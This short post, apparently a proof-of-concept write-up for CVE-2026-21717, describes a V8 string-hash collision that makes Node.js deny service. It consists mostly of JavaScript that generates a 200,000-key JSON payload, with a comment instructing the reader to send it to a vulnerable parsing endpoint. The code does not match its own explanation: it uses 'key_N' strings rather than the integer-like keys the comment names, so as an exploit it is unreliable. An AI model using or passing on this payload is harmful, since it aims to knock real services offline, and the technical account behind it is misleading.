CVE-2026-21717 V8字符串哈希冲突致Node.js拒绝服务

// PoC Concept for CVE-2026-21717 // Generates a JSON payload designed to trigger hash collisions in V8 function generateMaliciousJson(size) { const obj = {}; // The vulnerability involves integer-like strings hashing to their numeric value. // This loop creates keys that stress the hash table mechanism. // In a real exploit, specific keys causing exact collisions would be calculated based on table state. for (let i = 0; i < size; i++) { // Example keys; actual collision keys depend on specific V8 implementation details obj[`key_${i}`] = "data"; } return JSON.stringify(obj); } // Usage: Send the output of this function to a vulnerable JSON parsing endpoint const payload = generateMaliciousJson(200000); console.log(payload);